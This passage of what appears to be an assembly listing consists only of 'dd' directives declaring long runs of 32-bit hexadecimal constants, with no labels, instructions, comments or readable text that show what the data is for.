9D73B2D7h, 0B2AFD184h dd 0A8A25A2Ah, 9D598F40h, 33580B26h, 0B011E695h, 0E070941h dd 99F268D4h, 6F5F0881h, 76059749h, 56E985C4h, 0AB38BAB1h dd 4D2901BEh, 0F731D4A3h, 0B55EEE9h, 4EF9C439h, 105CF254h dd 2D01204Bh, 8682E7Ah, 32D57F05h, 2EC3C108h, 6F84520Ch dd 9707453Ch, 0B0A799DDh, 7CD33E19h, 6713D2A8h, 98B90062h dd 587EB84h, 13E796Ch, 8B410CBh, 16CE592Eh, 961DD228h dd 94E78100h, 984B673h, 685E2551h, 9B5AD763h, 5614EA3Ah dd 0C05613AFh, 0EE4DEA5Eh, 14E1654Bh, 5B5E0701h, 87DF516Ch dd 353515CFh, 511C35Ah, 1EE02E07h, 59701831h, 2616D938h dd 81005CE9h, 0FE4F2168h, 0F850303Eh, 0C9A7D560h, 481B0536h dd 0AA2F4667h, 0F0F0F0C4h, 28168CBEh, 5203EFB0h, 81D6EEA3h dd 692C7D50h, 3A84A124h, 1EEA8C2Bh, 8800D696h, 0C4FE5BDCh dd 980AE480h, 85494F1Bh, 9272F228h, 0B4240EEFh, 4721EB63h dd 7D4FF403h, 0B2C117C9h, 924C008h, 3ADD006Bh, 0B653540h dd 3AF53CE0h, 9C02B4C1h, 0C15D7896h, 0BC6BACB3h, 71AE25A3h dd 0B26CB761h, 9FA5BF23h, 2AF12177h, 0D70B8911h, 81AC1995h dd 7679A9FAh, 0F9C0B47Ah, 0EA627BE2h, 8FF83117h, 3E963FF1h dd 0F4299E09h, 4E08208Eh, 42E9B658h, 959D12CAh, 9F829B37h dd 26BAF2C8h, 38B5AD3h, 4E543A73h, 19FE72FAh, 94C8DD9Dh dd 0CAB703E7h, 0D4C91DB5h, 5EAC32B4h, 67B406D7h, 0CA296292h dd 0D7C0576Ah, 76257484h, 6E0B2260h, 29395F33h, 0CE0DF155h dd 0ABD026ECh, 4CE416A7h, 0F52DF122h, 0C57C332Ch, 68DF0202h dd 0D617BCE9h, 0B846969Bh, 0EB751357h, 959232D1h, 9C81DE44h dd 326AE768h, 0E7655A07h, 2E2C187h, 7327CA90h, 6A2D4CDBh dd 0F07FEB12h, 0F3A1D1B1h, 2D356E1Dh, 18D944ABh, 0C9FE0029h dd 2DAFF180h, 0DF68C828h, 28F5C0E9h, 0E70992F9h, 57F429B4h dd 0EC9D271Ch, 0E2AB2062h, 597AC9BEh, 7B5C477Dh, 0AE423A7Ch dd 0D029044Eh, 255EA7CCh, 0E25F382Dh, 0C2231C3Ch, 9478E98Dh dd 72760E4Ah, 0C915BD3Ch, 758E6026h, 0F8295913h, 2BD765C1h dd 723F0BFDh, 0F25D9AA7h, 0A05F08E5h, 0BAD7FCE6h, 1B81BD33h dd 6B5EF501h, 4E3E0123h, 607CE175h, 613954A0h, 0F2819C8Eh dd 42BDA341h, 97387DE9h, 5AD18802h, 0CDA9C830h, 0B6D7BDC2h dd 12AC9A11h, 0AE352E68h, 1701A22Ch, 404FE9F8h, 7B85B838h dd 2D376E1Eh, 57F50B83h, 27688FA0h, 0BEDB12E2h, 40FE6D0Eh dd 7ED5BD55h, 0E96C09B7h, 0FFFE48A9h, 241A5188h, 93C708B3h dd 8BCB870Fh, 3CC2E556h, 815934AFh, 8E2B656Bh, 0F1C3D6F7h dd 0D993CB31h, 0BD8C084Fh, 4144B056h, 0F10C8B58h, 50AC792Ah dd 0DA5C295Ch, 0D8834FFDh, 3239B151h, 232ABF76h, 0F9B516C7h dd 0D390F028h, 92F1D190h, 94FDEAF4h, 0A8CCD0Eh, 3B691A0Fh dd 9EAD23A6h, 0CC3C505Ah, 7D246168h, 6227F4E9h, 4D4901B8h dd 0D9015077h, 9F3F93F4h, 0A9BFA04Bh, 81453EA5h, 25A83519h dd 0A0F9785Ch, 0A606F268h, 9D7995E2h, 9D1ACE4Bh, 142D7545h dd 9DC79D15h, 59AF8B9Eh, 517EE9F6h, 8AF8FC7Ah, 0BC1943CEh dd 8B1E4915h, 8C06EB12h, 9A5F2FD3h, 20762944h, 4BB77E18h dd 0E92AFCE0h, 5B15FE22h, 12E3FF52h, 23A84720h, 63315981h dd 18197D1Eh, 0C11F52F1h, 967818D1h, 79B0C56h, 0AD0F312Ah dd 9168530Ch, 0B6429965h, 580828A5h, 3117B0E1h, 0F57F20C6h dd 732C703Bh, 2B0ED44Fh, 62710B38h, 4CFA4127h, 80CAC8FDh dd 2D118DB8h, 0BE560260h, 1BB26F59h, 5A03470h, 262F30A5h dd 9D78702Bh, 0E4E6D492h, 9667E59Dh, 867CE866h, 0BE349201h dd 557C2536h, 0BA3A8BA8h, 0E934845Dh, 0ECB4E737h, 52A3C6Dh dd 4EAC189h, 0E92C8B58h, 5E92BFB0h, 6A9A2DBFh, 97AFBACDh dd 0F6225D9h, 2002C4B3h, 0B9F091B6h, 4EF0C5A4h, 0CC208981h dd 301C4107h, 8AB4EFC4h, 964C56Fh, 75B15C94h, 897670D2h dd 52F95E08h, 82FA56F1h, 349B530h, 0F8C1CE05h, 9B102B50h dd 895D1307h, 42F8CF16h, 0A4515F87h, 57AFCE1h, 605D390Eh dd 5E0A5FC3h, 0C23B840Dh, 655D5AA7h, 0AFE909EDh, 82BAD840h dd 31B32A16h, 26F2C301h, 0A8DB3F9Ch, 2C972729h, 2DF34270h dd 0CB03E6FAh, 0E9925944h, 7A8E518Dh, 3D23189Fh, 14CCD219h dd 0D05B3050h, 7812940h, 7B4345CBh, 10F5B235h, 0B507E951h dd 6BA180DCh, 0E2ECDFEh, 5323E5EFh, 0CBE9BFB3h, 0CEF3E44Bh dd 0EB6AE926h, 0BCC3FE8Fh, 0EB44BC9Fh, 9BE28ACh, 606271C6h dd 0F4883C94h, 68735751h, 0B5B83070h, 3BABE620h, 63A5CD31h dd 6DD68831h, 5CC52514h, 12F6A16Dh, 0E927713Ch, 0FD02E16h dd 6E8659F4h, 0C2939052h, 31F75869h, 0F8517540h, 0FDC8F788h dd 0B05915Bh, 0E1903834h, 31481F53h, 713312F0h, 9CD0FEF8h dd 0CEE95F04h, 0E33BC8BDh, 488B1641h, 80AE2B2h, 0D04CA531h dd 0F7D15295h, 0F01701h, 1C56B450h, 0C57BEC80h, 1F69BCCh dd 5122E4CCh, 0F90171B5h, 0C276917h, 0B24C6715h, 97E7AC61h dd 0E9592A71h, 768090FDh, 9954D125h, 0D877F748h, 0BB3C3B00h dd 0FCBC2D67h, 210E25B1h, 6258758h, 898EF91Ah, 51F9DCB9h dd 0DF213112h, 66028FD7h, 24B6FDAAh, 0B882CF0Ch, 5FB0859h dd 0F32C1709h, 6556A5E5h, 4FA15A69h, 0A5BCA253h, 2CD83CEBh dd 0B3CA2586h, 0F32EDB9Eh, 57C0934Dh, 982D3078h, 7C4F1DE0h dd 60E9C4EFh, 73D9BE10h, 735CE020h, 0A80A4012h, 0F544ED13h dd 14909D12h, 0D7F9DCE9h, 0AE31017Bh, 401D6B75h, 0FB7D3F08h dd 0FEE96A0Bh, 880174C1h, 541FDE5Dh, 18806B12h, 2D5AD689h dd 16E4C629h, 12BE96A0h, 4C9C0649h, 2E660461h, 54E070E9h dd 6A4C2D68h, 0C5A70AD1h, 0B8500063h, 28F60F55h, 0C8FBE926h dd 4046692h, 81003998h, 1449C6F1h, 0E1C15A0Ch, 123D1204h dd 0FEDEE8D9h, 5402AA13h, 0C2D27C43h, 419405Ah, 6361580Dh dd 34081C68h, 5614131Ch, 5765C86Fh, 77314540h, 9B1124F0h dd 0A355693Bh, 68E9DFAh, 0CD2C7FFh, 0F8166467h, 0FE8C5B5Fh dd 4B321C2Dh, 0D894BFB6h, 9D750705h, 0E201574Ah, 1DC7574h dd 3A7FFEBh, 0FE0194D8h, 4F4CA264h, 6428B4E9h, 9F5D5B37h dd 0BCF427ABh, 0EF7F5949h, 429523F2h, 21BEB701h, 467B1277h dd 398423Eh, 2E5443E9h, 6D96AD18h, 0DF704C6Eh, 0EFEE931Bh dd 897F44B0h, 0F3A1624Ah, 5D842A28h, 0D1DA1BB0h, 0D4D45F9Dh dd 63583F5Bh, 1CF1490h, 73432FB9h, 1B34D10Fh, 4A97F42Bh dd 187811Bh, 89CE40C3h, 3A637E3Fh, 0B065A10Ch, 4ABE685Ah dd 7A223D6Eh, 8B086DD4h, 44BA2812h, 6C09C38Dh, 5D523D31h dd 8E541E0Bh, 2CE977B0h, 0A26ABE1Ah, 0DE23227Ch, 1F28C306h dd 970C2978h, 5BA0DEDAh, 1B047AD3h, 0ACEAE910h, 3C28000h dd 6813D2F6h, 5FAC3349h, 597004D6h, 755D09DDh, 0A0D2828Bh dd 39A7FB20h, 0C213D031h dd 1C819550h, 7EFC2556h, 471202A6h, 0F8C075D2h, 0AE7B270h dd 3FF16645h, 0A7A517E6h, 95345B8Ch, 0F23C84BFh, 820869CAh dd 10305E0h, 2F2B0A68h, 41C07CCCh, 870B60EAh, 0B870D760h dd 0FE0C7F33h, 4CF4266h, 6C184D01h, 806BB89h, 2073040Ch dd 0D85E28A8h, 0C8090FA1h, 6646F668h, 8CEA3579h, 299E0F73h dd 3556B760h, 793D5718h, 39B31E27h, 0E7E99787h, 8EBD8ACAh dd 0BE9E0A06h, 0B1666C43h, 16ACD023h, 2668F2C5h, 0C0B77B50h dd 8281156Fh, 0C39DA392h, 40CFB251h, 1D2F9D06h, 0EC461C4Dh dd 0B05E97C2h, 0EF402AE0h, 2502778Fh, 67E78C95h, 0E2E5BB12h dd 319B873Fh, 640EE9CFh, 594E66C2h, 51C532A2h, 0DE5DF915h dd 7E02A3C9h, 2DCE40CFh, 21F8187Fh, 27293340h, 0BF9459CAh dd 2DA44C95h, 237B0BFCh, 0B402F8A6h, 0E008ED80h, 32E91CCDh dd 66280F7Bh, 216C2166h, 0B05365E9h, 0E6392F0Fh, 22FC031Ch dd 27B7B95Ah, 478F7361h, 908F7A40h, 42E8E909h, 5B24C466h dd 81660E3Bh, 30CD0938h, 87E8170Ch, 0B69C4020h, 330DEE79h dd 2EE90BA1h, 0F36C635h, 28A27B47h, 507BF4F7h, 73E995A8h dd 0F7F3F454h, 160D70EBh, 0E620CD98h, 0D4F63D96h, 0DA6083CEh dd 0FAEA1AE2h, 0FB614355h, 780A7C9Ch, 0AB30D227h, 0DF68303Dh dd 8AFC63E3h, 0B14B7B32h, 0D6503F0Fh, 98349FF5h, 2BF0F2Dh dd 0D349864Bh, 552C3856h, 2D6C5D7Ah, 68525301h, 61205D22h dd 32876FAh, 0C91595Fh, 0FC3E2A00h, 0D389AB70h, 0E50B30E9h dd 67DC699h, 584AB570h, 2902DDB8h, 8918263Bh, 0D5C9EAD6h dd 3686981h, 38376B6Bh, 0C8AC2934h, 611F8791h, 0B1B8529Dh dd 0C293BDBh, 0CBD303F8h, 67114E1Ch, 238E8202h, 0D54A410Ah dd 0B9345580h, 8F2F6842h, 7C601h, 1948384Fh, 565DEE29h dd 0F85B0A90h, 53E18CC9h, 12D9478h, 79AD3AFBh, 0A4E94296h dd 0E200E7E4h, 0C1685657h, 0BD7AC946h, 0C80319E7h, 4712712h dd 1AC7560Ch, 7A9DEA9Ch, 4A73530h, 316D876Ch, 4A2283C7h dd 60C14302h, 70B685DEh, 88D18000h, 7D2B2E28h, 0E42C131Bh dd 0A2A9E495h, 0A2612066h, 7020D66Bh, 0A31897F4h, 0BFFAD231h dd 0B1162492h, 9401887Dh, 0BB0453B0h, 0E82CD8C0h, 0C620095Bh dd 92E2F2E9h, 9820C67Ch, 0E8ED474Ah, 0D541489h, 5AFFE958h dd 84EEA2E3h, 14BC6929h, 0E9DD88C1h, 6769F326h, 57A27FE6h dd 0BA05207Fh, 9EE3281h, 62340821h, 7A939F5Fh, 10EF10F4h dd 774CC6A0h, 1E8B8525h, 0D8310422h, 0FD59EEF6h, 30587B87h dd 39A782C8h, 4E6DE657h, 0B4F3BC59h, 3388F6F2h, 0B8D9E906h dd 51F301F7h, 89DF316Ah, 621D7BDDh, 0A5F13FF0h, 0AD4F2C3Dh dd 92EC2847h, 2D731Bh, 2511EA1Bh, 4DB03405h, 1FCC09Dh dd 48102530h, 0F6817360h, 0EA3F4000h, 5EF13170h, 0F3C89F2Dh dd 5538C829h, 13D42EE9h, 0B6B5D953h, 0B7E0903Bh, 54761D6Fh dd 595D510Bh, 0F8F68441h, 35685806h, 0E9A080E0h, 0E59028E3h dd 0EC92CEEh, 1C9CC48Ah, 0DD05E7C0h, 0EED09CEFh, 6172168Fh dd 803B1E7Bh, 3504E84Fh, 0B6116859h, 10E9611Ch, 120519h dd 0A5E2AEB8h, 0EFEC84DAh, 0CC71890Bh, 59D5809h, 0AEC067C7h dd 321EFA9Eh, 6FF0CA40h, 32E91D68h, 0F26D1A50h, 1C2F140h dd 0C8008176h, 2D4B08B7h, 73BA29F6h, 0E9D01641h, 14678593h dd 5CE0701Ah, 9CB0C138h, 74888524h, 80FC6552h, 0B25278B1h dd 0D13B20BFh, 59B6005Ah, 8608E6C0h, 0D2CFE2FEh, 8C01AF08h dd 2DB45066h, 0E9FD0E85h, 965947Ah, 84FA59EEh, 0C25ABA94h dd 6C75897h, 1A63A4BDh, 0A392FE68h, 0A573C7BDh, 0F35F4BE4h dd 3AEA4790h, 43D83D55h, 25C59EF5h, 0CC9776D8h, 28CA5C09h dd 125A285Dh, 775C0029h, 0D9014EE4h, 67DF6812h, 7980FB34h dd 3D8635D7h, 4102BA5Dh, 92E9F15Eh, 2809F7D4h, 86E102D8h dd 7C4509EBh, 0BEE94931h, 0E91B132Fh, 4F20277h, 0D158DC1Eh dd 0CD853E72h, 0B84B48C8h, 95268385h, 0DD99E7B3h, 4A210230h dd 17A8384Ch, 0ACAC411Bh, 45C580E0h, 0E9EB2805h, 9720FD3Fh dd 9084448Ah, 3EB62036h, 40ED8325h, 36EEFDh, 0E3815D3Fh dd 3C721FA9h, 250E4B67h, 600A6472h, 10082818h, 73295327h dd 27B9EA4Ch, 5CC7019Fh, 0B32FAC68h, 21044AB3h, 74D3E806h dd 618800FAh, 5F560321h, 829ED001h, 74ED669h, 41F56135h dd 3AF33DE9h, 285B7DCFh, 5B35E9E3h, 651431C2h, 0F7687A04h dd 15BCCFEDh, 125115D5h, 20C85E53h, 0AABE0056h, 814C4D65h dd 1E02D2E6h, 7A686721h, 80095119h, 730C62E3h, 9A544AE9h dd 5C70F1B1h, 92066F3Dh, 37EF2F45h, 52A99000h, 28C210E2h dd 0FF3C2120h, 0E36D2980h, 294B2E73h, 37E9B4E4h, 6B55ECEDh dd 0C5BBFCBh, 84BCCB56h, 9102825h, 0A50768D2h, 5FFB8931h dd 0D8A092FFh, 0F4576B5Bh, 0CD1E17D2h, 77CF7039h, 0D83B8953h dd 0C1801C0Eh, 5AE5FC50h, 0FD841D9h, 7A954484h, 9B688721h dd 0E9C28528h, 93572164h, 0C279C103h, 8A03986Bh, 0B8BC214Ah dd 0A598E5E7h, 3D043FF1h, 0F012AB3Dh, 0CE08F364h, 894F8C28h dd 2000CA29h, 2FBE1074h, 302FD095h, 0C7DD8616h, 575FFEC4h dd 2F125185h, 80B47FE8h, 8426B10Eh, 0E106657Ch, 6CAD2F58h dd 7E9B0F0Ch, 0C9800E0Ah, 1E5B632Bh, 98C7D2A0h, 6FE1A426h dd 280925A9h, 0B61455B8h, 0E3512794h, 3B505A11h, 769050C4h dd 1309E6B9h, 16494E06h, 20A0F5E8h, 3028D6ADh, 649EF9E2h dd 0B213A721h, 9AF43CE1h, 4F81BE85h, 8F605AA9h, 825685Fh dd 3B8D6649h, 137C3E88h, 9514F756h, 0A5710124h, 80163867h dd 5B77A70Ch, 0B409E925h, 24BA09F7h, 4A530F55h, 0C185EDA2h dd 0BCC203EBh, 558023Dh, 91F965Fh, 0F80F502Dh, 0C7A92906h dd 1B6A4880h, 30229232h, 7B002901h, 14D96985h, 23B50CD3h dd 2F680CA7h, 8D92C4E9h, 1340BF04h, 10FA7395h, 0FC02D9ABh dd 5715A812h, 83A86FC5h, 0D8ED5C29h, 0F6170A5h, 237A5A25h dd 795847E9h, 0F3FE7BFAh, 92162C3Dh, 0EBAD8B6Bh, 4411710Eh dd 0B6D2D46h, 0E9C30104h, 31D841DAh, 550E9F0Eh, 55FDB3EFh dd 57013BB1h, 0A4B5F2BFh, 51C56E10h, 27ED6E50h, 5BBD4484h dd 1A1DF054h, 29493F24h, 0BBAC502h, 823A6009h, 4CB280F1h dd 39E8FDA1h, 6FACD274h, 3293680Bh, 0ECD573B0h, 5807B09Fh dd 9AB19C10h, 84408570h, 0FE1C1F7Eh, 81404E66h, 1E086C6h dd 0BC70D299h, 6C208028h, 4AF73066h, 9DA6B1D0h, 0E0800606h dd 0B5AB0507h, 0A1D54A6Ch, 27F52EC2h, 1244B9D8h, 85520C3Fh dd 0A84812FEh, 9D80A48Ch, 251EB2EAh, 1650FB1Ch, 814F572Eh dd 7503CA89h, 7903E1Eh, 4F2B948h, 5FF821D7h, 473591BBh dd 814DA6h, 8F171BC8h, 0EDE4714Bh, 983E05C1h, 0EE7C2926h dd 0C13FA34h, 598110F2h, 3C563B68h, 602BD0EDh, 0DF46D462h dd 0CF810245h, 75FA3BE2h, 250DB60h, 1519812h, 7DE96249h dd 4B5FB59Ah, 0C832DAC1h, 0B8CF88B1h, 6E71ECAh, 0FEF38551h dd 0E3F883CDh, 0DFC1BF9Ch, 312DA13Eh, 12D6FB10h, 57ACD831h dd 0DCEC584h, 412E2E59h, 0DF15EE83h, 2DD425Bh, 0F8037BD0h dd 0E96F7C57h, 0BDED01EAh, 72D529ADh, 60FF6101h, 0B8F0BF69h dd 0E7C458h, 0F80D405Ah, 2F6A72h, 476CA505h, 0D7C03561h dd 0E9B7D92Dh, 0D5C6D1A4h, 0F9CA5E9Bh, 0C427527Eh, 5F687B2Bh dd 0F9573117h, 0DA8C3F61h, 75734DCAh, 81272792h, 7931E9F5h dd 26EF021Eh, 402FB73Fh dd 0D08180Dh, 0CF013D77h, 0E908011Ch, 6564EEA1h, 0F2128900h dd 3A29BE0Dh, 9377440h, 1D4DE9CEh, 0E958AB79h, 808269C8h dd 68091D54h, 0F598754Dh, 304A77B0h, 0BBD63881h, 52B82A82h dd 0C3614414h, 5F91504Fh, 5095E6C1h, 5D5E1740h, 4230F0D3h dd 7B269100h, 1EE9F201h, 57FB97DBh, 0E66DA5BDh, 98C4971Ch dd 0B9DB8FAh, 699174F5h, 16835E04h, 0CE400F04h, 0D2565B07h dd 0BFD1F420h, 50D3A53Fh, 2FE59D5Ch, 0CFA133Fh, 0DEDE66E9h dd 226927E7h, 0CCB33C5Fh, 406B5531h, 0E09757A9h, 7539DB8Bh dd 0D1BB1E53h, 0D3F74F7Ah, 0E4CB8181h, 0DB109078h, 2DD6C30Fh dd 9D14BAB2h, 5AD71829h, 4F8BC71Ah, 20B6A2F8h, 91405A3Ch dd 3381F7AEh, 489758CFh, 24BF057Eh, 0B9012973h, 0CBC70F55h dd 31E5822Ah, 80DBB0E9h, 7B206839h, 9D587596h, 35042AFAh dd 158719E6h, 0C9DFC0BAh, 2EF36B25h, 0DE926781h, 5313E963h dd 4B38A654h, 0D6B8761h, 1AD34138h, 445F10D7h, 7894978Ch dd 2C2DCDABh, 320BF1E0h, 14750258h, 0B0E91352h, 0C476FCD6h dd 310317DEh, 0C2035EF0h, 10B5B325h, 890E0551h, 0AC769D33h dd 0A6DC2A43h, 0C7CA439Dh, 9D10BA36h, 839D1A7Bh, 45AD1AFh dd 0FC4212E9h, 333583E9h, 51BAB121h, 0B53C0BB0h, 63168B78h dd 8701FA29h, 4B54482Bh, 3E4E9600h, 81F99980h, 0FA296E5Fh dd 952815FCh, 0E3AEA73h, 73347B31h, 1A96F850h, 75260EC0h dd 9F54E589h, 15FD3245h, 7F0BF506h, 929D8E8Fh, 32827F6Ch dd 0A645F355h, 0AAC2BE3Eh, 303BAE1Bh, 2B3793E8h, 0FE906DF4h dd 1CD9CF0h, 4B3192BAh, 0C227716Bh, 7A02440Ah, 80183843h dd 0DD517191h, 76A906Fh, 120819F7h, 99C07E4Fh, 21C4F852h dd 0C6C9C1A3h, 7603A7FFh, 0F600BD01h, 2E9925A5h, 2D4042E9h dd 820BE64h, 813D8075h, 356F087Eh, 0A4F0F829h, 3E009A99h dd 82D0EDC1h, 168513C7h, 0D2830C42h, 0EB4E291Fh, 0AE314893h dd 2FD6994Dh, 332008F8h, 67A5BF96h, 5B8EA8D6h, 0CB5F43CFh dd 28F45E05h, 0D24C4E68h, 0B4584F40h, 1809215Ch, 0EB57E4B5h dd 0F2341E2Ah, 0F687CD79h, 601FFD16h, 283E1D93h, 766F26E5h dd 75BC299Ah, 0CC863081h, 0ABDF44E2h, 520C899h, 0F27B0519h dd 10C6016Ch, 0E90908B3h, 19F713CFh, 9B2CA463h, 5C80178h dd 159F63BCh, 302F2159h, 0FCB48EBAh, 42D30142h, 0A5715CCEh dd 0E07C889Ah, 0E92B81F2h, 4EA57F96h, 1DBC3D14h, 29EE3B92h dd 5B053379h, 0A5E948D1h, 0F32E5765h, 0EED311h, 7A5C69C1h dd 6B63B920h, 89E9310Bh, 0C97BAE95h, 0AFF33B06h, 335DEF09h dd 2CBBD91h, 395A231h, 80D993ABh, 953C8816h, 0B92D3585h dd 242B4861h, 7EA79551h, 0CC41F2B5h, 0C35A03DAh, 0F7F0834Ch dd 0FB127749h, 2F46EC60h, 8173F500h, 90116FC1h, 0CA70976Ch dd 4B152149h, 7A40FEDh, 0AE6852BCh, 25E1F712h, 2032D901h dd 145678D3h, 71AC3FE9h, 3379370Ah, 5BDD028Ah, 94CA4068h dd 81E34BDCh, 2C2AB8EDh, 0D5013410h, 72081AF0h, 2F7995F7h dd 0E86BF65Bh, 80BA7790h, 629DC121h, 0F31C5FF2h, 1A4123B0h dd 40FADC20h, 581EBA2Ah, 0F7891274h, 34F202D2h, 0F77E4C6h dd 7AF58004h, 81A34169h, 908022B8h, 0A00351Fh, 0D153478h dd 0E8E327A0h, 39AA0705h, 61487F0Ch, 0C932BE8Fh, 0EB5D6421h dd 0A22DC901h, 0BB23E97Eh, 60A3892Ah, 9C96C444h, 1CB843h dd 1BD405BDh, 86E9228Eh, 0AD540797h, 360FF6B1h, 9C36C0C6h dd 77AA0963h, 4E61DAF7h, 0EA81C44Ah, 3D08920Bh, 4514ED3h dd 0F016D12Dh, 41AABC02h, 6C8D4007h, 577B9129h, 9644991Ah dd 14FB4110h, 0CA88C014h, 5303F2Eh, 1AF50C7Eh, 0D54148EEh dd 0E8968C85h, 45129E57h, 0CEBD7B40h, 9055050Fh, 605E0905h dd 130037DFh, 0CDE278Bh, 19BFE916h, 0F7CB5AACh, 1001CF02h dd 0DD07A7FDh, 0F59ED782h, 0B5C73093h, 16F8C8C9h, 59C8994Bh dd 528D1748h, 812FB143h, 0C6959314h, 557C296Dh, 244B59B3h dd 9CC84988h, 0C6EAAFAh, 77B260BDh, 1750C26h, 0EBE97208h dd 2E952880h, 62C6C77Eh, 0A9C06855h, 4AB70FCAh, 12AC73C9h dd 0E20ED359h, 2F3EFFB9h, 1AF344Eh, 0D529704Ch, 0E7E8EF5h dd 326F6400h, 0E77CFD05h, 12573E36h, 8FC9422h, 0F5110D9Eh dd 40F62F10h, 5D5E94Fh, 1E7668ACh, 3AB72ECCh, 9B33E98Bh dd 81C5666Fh, 2A12CBB0h, 6A022AE3h, 5F522228h, 0E929B055h dd 0E48F4F1Fh, 0EE962363h, 4A3BC0B9h, 0B775E888h, 5158C200h dd 8E916B1h, 0DA8A09CAh, 34B54BF9h, 0C1F770EFh, 31740BE8h dd 6F596815h, 0AFD44A63h, 0ECC90BAh, 28092A06h, 183DEF7h dd 9A64E9F1h, 892DF62h, 8E2C2913h, 5C4C114h, 208602F9h dd 0E9090BA8h, 39A4B9C6h, 5B0EB3C8h, 61F457E2h, 31F4CFFh dd 0CBB25A54h, 9C532EA1h, 213AF400h, 0D7F0BB76h, 0E8E2120Bh dd 31A84E51h, 4358A4B2h, 0C91C90B7h, 5BEC176Bh, 53400042h dd 6F43DBBBh, 0E950600Bh, 6B2CB8Fh, 0F746FB40h, 679F9641h dd 0BE2630E2h, 81315ACh, 81B14633h, 3C36CD2Ah, 0ED444FD3h dd 31AE950Fh, 73BB84Fh, 497B98D3h, 493F218h, 9DAD997h dd 94B275C3h, 43755C1h, 46C07280h, 59F27B55h, 2812C3D5h dd 0B4B2F8C8h, 0B59AECh, 0CC888539h, 4E20E959h, 0E92D4AFBh dd 0D29575D8h, 0B35B95E2h, 0C1870E32h, 0B52BEE18h, 26F32EBAh dd 85B64E7Ch, 592CAE29h, 0F73D40A6h, 0F181D901h, 6BB775C4h dd 0C11C806Ah, 52D0360h, 76A5419h, 849C4BBAh, 0DEC4BA4Eh dd 56A0DBE8h, 155FBEE9h, 4202D240h, 0A1C5F281h, 386106CFh dd 50D4003Fh, 0EC8045B4h, 0F400B773h, 58E328F3h, 0BDDF68E9h dd 3C8EC0A8h, 0EF2B0313h, 0C7BAFB30h, 0BCF3C2Ah, 0EB5AD093h dd 8F587846h, 1040E1E8h, 0C47AAEE9h, 0E0E7D14Eh, 0BD9C0C19h dd 0E411E8C2h, 670A0B13h, 37FEAC64h, 94CF3B89h, 88789D6Eh dd 5A66A61Ch, 78685182h, 5350A04Fh, 2BE975B3h, 271EE437h dd 7EA73059h, 57855837h, 2660F03Ch, 722740FAh, 4AC7EC72h dd 0A50EA9E2h, 5FE9F02Ch, 0E63A975Fh, 120FDE58h, 0C914DD52h dd 0BEF6A0E6h, 1FE1EE0h, 5BF68151h, 0D850F802h, 57040EE6h dd 0D6F7345Ch, 0C1292F87h, 0C0DE510Bh, 332E4426h, 0BA687FEEh dd 0D3B51B1Ch, 610EE812h, 6809903Ch, 0D51A46E7h, 0C3DF4D60h dd 5CA766B1h, 0C49108A9h, 1C6F0905h, 79D1BE04h, 9C805C09h dd 325F743Fh, 0ECE8180h, 16085A65h, 0FB01EEC6h, 4DE6C13Dh dd 91C55E5Ah, 680A79B8h, 8B426C02h, 0E1E069E9h, 1F24CB25h dd 0BD0B33D3h, 98E466Ah, 1DDD77C7h, 8DA91490h, 97AB4697h dd 0F7175851h, 0EFC141C1h, 9C77130h, 3BA77401h, 0D0EABA0Bh dd 0ED767E89h, 3A03B7AAh, 89072837h, 584BFACFh, 0E30DBDA0h dd 0ADC12BD3h, 83290203h, 0E113E90Ah, 2C1488ADh, 80BDF9A0h dd 0D156AFFCh, 4894D81Ah, 82314E79h, 515B8A1Bh, 0FC29CE60h dd 0A97C2BE9h, 4F1891B9h, 0D2E17193h, 27D5D612h, 9056DAFEh dd 5F275C7Dh, 6E4CE680h, 9FF84F86h, 0C6E4214Fh, 403C1E2Eh dd 0CA16E62h, 5BCF936Eh, 868C144Ah, 0F51B414Ch, 3CD7BFEh dd 277F612Bh, 5A1A4B3h, 77073503h, 5683A57Ch, 40EC8A69h dd 80E2ED47h, 6F03C1BAh, 0F7920767h, 4FC09CD0h, 0EA23F344h dd 195427E9h, 405131DEh, 586D043Ah, 69E58A05h, 0F9997F92h dd 26987B0Eh, 412C8183h, 237EF83h, 7BF9E401h, 0D1362555h dd 0C2BDF596h, 0CDB776B3h dd 8E9AED0Ch, 0E9C35C25h, 0F6C9E150h, 0DCE5A842h, 21EB8111h dd 6A364373h, 6908C550h, 0B590FD1Ch, 0A09FD35Ah, 53DF35CDh dd 58646BFEh, 7242A248h, 9BA4945Ah, 68E07FD1h, 259BA79Ch dd 65AC285Ch, 0AE30A713h, 83401A68h, 639B75E9h, 0A4AC4AAEh dd 0DD0DE5Eh, 35FF8CE9h, 0E1A94B7Ah, 44F3C56h, 1E919F6Fh dd 353E5A93h, 2742AE04h, 7CA410E9h, 54ED53B5h, 9D0548C5h dd 0ED0F6658h, 7ACC2F86h, 2C310C1h, 4D5C2E87h, 0F430B12h dd 98EAED80h, 1D521AF5h, 0AE3062B6h, 91130BC9h, 0A2DEB96Ah dd 0A9F1B10Bh, 175C56D2h, 0E498C594h, 4703FCE9h, 593534BBh dd 0C7CC4BA9h, 57439F9h, 0B010A504h, 501BCF82h, 0CA964C08h dd 50560A73h, 0A497585Eh, 0A6AB4253h, 0F650C376h, 0DE9CBF39h dd 78E9FD08h, 0B0500128h, 40B5B172h, 0EB8058F6h, 0CB139070h dd 0E6844AE9h, 3C046CEAh, 1568640h, 0E548A568h, 3A465E52h dd 916F6F93h, 0E13B9EBCh, 41A12EEAh, 0A22B32FDh, 0F76196F4h dd 2E09BD55h, 0C0C50787h, 0AEA7D509h, 76BBA6A8h, 0F664B0Ah dd 1730704Ah, 80A1C328h, 0B0A03860h, 3AA94134h, 2B53670Fh dd 5DA5C271h, 0C6603E40h, 2D7A6D00h, 0F380688h, 6C681657h dd 504B302h, 73710BFh, 0F7EE04FBh, 0EE09FFDBh, 27FF56ADh dd 926805Bh, 96EA4525h, 0B4C7E801h, 5E84CEBCh, 7805DBDh dd 189E09Dh, 0D4D397CBh, 0D039B81Ah, 975379B7h, 34855241h dd 2E2568C6h, 9E96183Fh, 0FA527567h, 89314995h, 22A62916h dd 8C8296E3h, 0C3DA8339h, 603B9B05h, 26D7316Fh, 4849EC30h dd 0EB29270Eh, 0A3BA8BD8h, 2375F527h, 9A80023Ch, 0D6F1E0E7h dd 0E9E20C88h, 0EDD7C1E0h, 80A660Fh, 27456919h, 31A05EAEh dd 0BB70FC3h, 0C9C68C0h, 0C92FD9C6h, 20B494B9h, 590F9546h dd 2402E2C0h, 43AA0B48h, 1467607Ch, 2114A1FDh, 0F8F43BEEh dd 8FB49E9h, 9A37B67Ch, 51425934h, 804C47FBh, 416712E8h dd 8F30C77h, 0EEB05D24h, 0E19FB6F0h, 2D3E5904h, 30920325h dd 84F69F0Dh, 0D1213E26h, 